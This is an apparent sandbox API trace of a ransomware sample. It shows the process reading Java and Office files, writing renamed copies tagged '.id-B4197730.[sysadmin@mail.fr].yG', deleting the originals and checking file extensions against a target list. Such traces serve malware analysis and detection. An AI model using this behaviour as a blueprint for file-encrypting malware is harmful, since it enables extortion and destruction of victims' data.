	[0045.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83
	[0045.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83
	[0045.983] lstrlenW (lpString=".doc") returned 4
	[0045.984] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.984] lstrlenW (lpString=".docx") returned 5
	[0045.984] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0045.984] lstrlenW (lpString=".pdf") returned 4
	[0045.984] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.984] lstrlenW (lpString=".xls") returned 4
	[0045.984] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.984] lstrlenW (lpString=".xlsx") returned 5
	[0045.984] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1
	[0045.984] lstrlenW (lpString=".ppt") returned 4
	[0045.984] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83
	[0045.984] lstrlenW (lpString=".zip") returned 4
	[0045.984] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.984] lstrlenW (lpString=".rar") returned 4
	[0045.984] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.984] lstrlenW (lpString=".bz2") returned 4
	[0045.984] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.984] lstrlenW (lpString=".7z") returned 3
	[0045.984] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83
	[0045.984] lstrlenW (lpString=".dbf") returned 4
	[0045.984] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0046.055] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0047.416] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.416] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.416] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0047.416] GetLastError () returned 0x0
	[0047.416] ReadFile (in: hFile=0x388, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x218e, lpOverlapped=0x0) returned 1
	[0047.658] WriteFile (in: hFile=0x390, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2190, lpOverlapped=0x0) returned 1
	[0047.659] ReadFile (in: hFile=0x388, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.659] WriteFile (in: hFile=0x390, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0047.659] SetEndOfFile (hFile=0x390) returned 1
	[0047.659] CloseHandle (hObject=0x390) returned 1
	[0047.660] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.660] SetEndOfFile (hFile=0x388) returned 1
	[0047.661] CloseHandle (hObject=0x388) returned 1
	[0047.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.661] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 1
	[0047.661] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0047.661] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0047.661] lstrlenW (lpString=".doc") returned 4
	[0047.661] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.661] lstrlenW (lpString=".docx") returned 5
	[0047.661] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1
	[0047.661] lstrlenW (lpString=".pdf") returned 4
	[0047.661] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.661] lstrlenW (lpString=".xls") returned 4
	[0047.661] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.661] lstrlenW (lpString=".xlsx") returned 5
	[0047.661] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1
	[0047.662] lstrlenW (lpString=".ppt") returned 4
	[0047.662] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0047.662] lstrlenW (lpString=".zip") returned 4
	[0047.662] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.662] lstrlenW (lpString=".rar") returned 4
	[0047.662] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.662] lstrlenW (lpString=".bz2") returned 4
	[0047.662] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.662] lstrlenW (lpString=".7z") returned 3
	[0047.662] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0047.662] lstrlenW (lpString=".dbf") returned 4
	[0047.662] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0047.662] lstrlenW (lpString=".1cd") returned 4
	[0047.662] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0047.662] lstrlenW (lpString=".jpg") returned 4
	[0047.662] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0047.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0047.662] lstrlenW (lpString=".doc") returned 4
	[0047.662] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.662] lstrlenW (lpString=".docx") returned 5
	[0047.662] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1
	[0047.662] lstrlenW (lpString=".pdf") returned 4
	[0047.662] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.662] lstrlenW (lpString=".xls") returned 4
	[0047.662] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.662] lstrlenW (lpString=".xlsx") returned 5
	[0047.662] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1
	[0047.662] lstrlenW (lpString=".ppt") returned 4
	[0047.662] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0047.662] lstrlenW (lpString=".zip") returned 4
	[0047.662] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.663] lstrlenW (lpString=".rar") returned 4
	[0047.663] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.663] lstrlenW (lpString=".bz2") returned 4
	[0047.663] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.663] lstrlenW (lpString=".7z") returned 3
	[0047.663] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0047.663] lstrlenW (lpString=".dbf") returned 4
	[0047.663] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0047.663] lstrlenW (lpString=".1cd") returned 4
	[0047.663] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56
	[0047.663] lstrlenW (lpString=".jpg") returned 4
	[0047.663] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.663] lstrcmpiW (lpString1=".dat", lpString2=".yG") returned -1
	[0047.663] lstrlenW (lpString="tzdb.dat") returned 8
	[0047.663] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0048.136] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=105500) returned 1
	[0048.137] CloseHandle (hObject=0x38c) returned 1
	[0048.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 0x20
	[0048.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0048.137] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0048.137] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.137] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.137] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0048.663] GetLastError () returned 0x0
	[0048.663] ReadFile (in: hFile=0x38c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x19c1c, lpOverlapped=0x0) returned 1
	[0048.725] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x19c20, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x19c20, lpOverlapped=0x0) returned 1
	[0048.737] ReadFile (in: hFile=0x38c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0048.737] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0048.737] SetEndOfFile (hFile=0x2fc) returned 1
	[0048.737] CloseHandle (hObject=0x2fc) returned 1
	[0048.742] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.742] SetEndOfFile (hFile=0x38c) returned 1
	[0048.743] CloseHandle (hObject=0x38c) returned 1
	[0048.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0048.743] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 1
	[0048.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0048.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0048.744] lstrlenW (lpString=".doc") returned 4
	[0048.744] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0048.744] lstrlenW (lpString=".docx") returned 5
	[0048.744] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1
	[0048.744] lstrlenW (lpString=".pdf") returned 4
	[0048.744] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0048.744] lstrlenW (lpString=".xls") returned 4
	[0048.744] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0048.744] lstrlenW (lpString=".xlsx") returned 5
	[0048.744] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1
	[0048.744] lstrlenW (lpString=".ppt") returned 4
	[0048.744] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0048.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0048.744] lstrlenW (lpString=".zip") returned 4
	[0048.744] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0048.744] lstrlenW (lpString=".rar") returned 4
	[0048.744] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0048.744] lstrlenW (lpString=".bz2") returned 4
	[0048.744] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0048.744] lstrlenW (lpString=".7z") returned 3
	[0048.744] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0048.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0048.744] lstrlenW (lpString=".dbf") returned 4
	[0048.744] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0048.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0048.744] lstrlenW (lpString=".1cd") returned 4
	[0048.744] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0048.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0048.744] lstrlenW (lpString=".jpg") returned 4
	[0048.744] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0048.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0048.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0048.745] lstrlenW (lpString=".doc") returned 4
	[0048.745] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0048.745] lstrlenW (lpString=".docx") returned 5
	[0048.745] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1
	[0048.745] lstrlenW (lpString=".pdf") returned 4
	[0048.745] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0048.745] lstrlenW (lpString=".xls") returned 4
	[0048.745] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0048.745] lstrlenW (lpString=".xlsx") returned 5
	[0048.745] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1
	[0048.745] lstrlenW (lpString=".ppt") returned 4
	[0048.745] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0048.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0048.745] lstrlenW (lpString=".zip") returned 4
	[0048.745] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0048.745] lstrlenW (lpString=".rar") returned 4
	[0048.745] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0048.745] lstrlenW (lpString=".bz2") returned 4
	[0048.745] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0048.745] lstrlenW (lpString=".7z") returned 3
	[0048.745] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0048.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0048.745] lstrlenW (lpString=".dbf") returned 4
	[0048.745] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0048.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0048.745] lstrlenW (lpString=".1cd") returned 4
	[0048.745] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0048.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47
	[0048.745] lstrlenW (lpString=".jpg") returned 4
	[0048.745] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0048.746] lstrcmpiW (lpString1=".XML", lpString2=".yG") returned -1
	[0048.746] lstrlenW (lpString="SLERROR.XML") returned 11
	[0048.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0048.779] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=36336) returned 1
	[0048.779] CloseHandle (hObject=0x348) returned 1
	[0048.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20
	[0048.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0048.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0048.779] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.779] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0048.779] GetLastError () returned 0x0
	[0048.779] ReadFile (in: hFile=0x348, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x8df0, lpOverlapped=0x0) returned 1
	[0049.048] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x8e00, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x8e00, lpOverlapped=0x0) returned 1
	[0049.049] ReadFile (in: hFile=0x348, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.049] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xea, lpOverlapped=0x0) returned 1
	[0049.050] SetEndOfFile (hFile=0x2e4) returned 1
	[0049.050] CloseHandle (hObject=0x2e4) returned 1
	[0049.051] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.051] SetEndOfFile (hFile=0x348) returned 1
	[0049.052] CloseHandle (hObject=0x348) returned 1
	[0049.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0049.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 1
	[0049.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0049.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0049.052] lstrlenW (lpString=".doc") returned 4
	[0049.052] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0049.052] lstrlenW (lpString=".docx") returned 5
	[0049.052] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1
	[0049.052] lstrlenW (lpString=".pdf") returned 4
	[0049.052] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0049.052] lstrlenW (lpString=".xls") returned 4
	[0049.053] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0049.053] lstrlenW (lpString=".xlsx") returned 5
	[0049.053] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1
	[0049.053] lstrlenW (lpString=".ppt") returned 4
	[0049.053] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0049.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0049.053] lstrlenW (lpString=".zip") returned 4
	[0049.053] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0049.053] lstrlenW (lpString=".rar") returned 4
	[0049.053] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0049.053] lstrlenW (lpString=".bz2") returned 4
	[0049.053] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0049.053] lstrlenW (lpString=".7z") returned 3
	[0049.053] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0049.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0049.053] lstrlenW (lpString=".dbf") returned 4
	[0049.053] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0049.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0049.053] lstrlenW (lpString=".1cd") returned 4
	[0049.053] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0049.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0049.053] lstrlenW (lpString=".jpg") returned 4
	[0049.053] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0049.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0049.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0049.053] lstrlenW (lpString=".doc") returned 4
	[0049.053] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0049.053] lstrlenW (lpString=".docx") returned 5
	[0049.053] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1
	[0049.053] lstrlenW (lpString=".pdf") returned 4
	[0049.053] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0049.053] lstrlenW (lpString=".xls") returned 4
	[0049.053] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0049.053] lstrlenW (lpString=".xlsx") returned 5
	[0049.053] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1
	[0049.053] lstrlenW (lpString=".ppt") returned 4
	[0049.053] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0049.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0049.054] lstrlenW (lpString=".zip") returned 4
	[0049.054] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0049.054] lstrlenW (lpString=".rar") returned 4
	[0049.054] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0049.054] lstrlenW (lpString=".bz2") returned 4
	[0049.054] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0049.054] lstrlenW (lpString=".7z") returned 3
	[0049.054] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0049.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0049.054] lstrlenW (lpString=".dbf") returned 4
	[0049.054] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0049.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0049.054] lstrlenW (lpString=".1cd") returned 4
	[0049.054] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
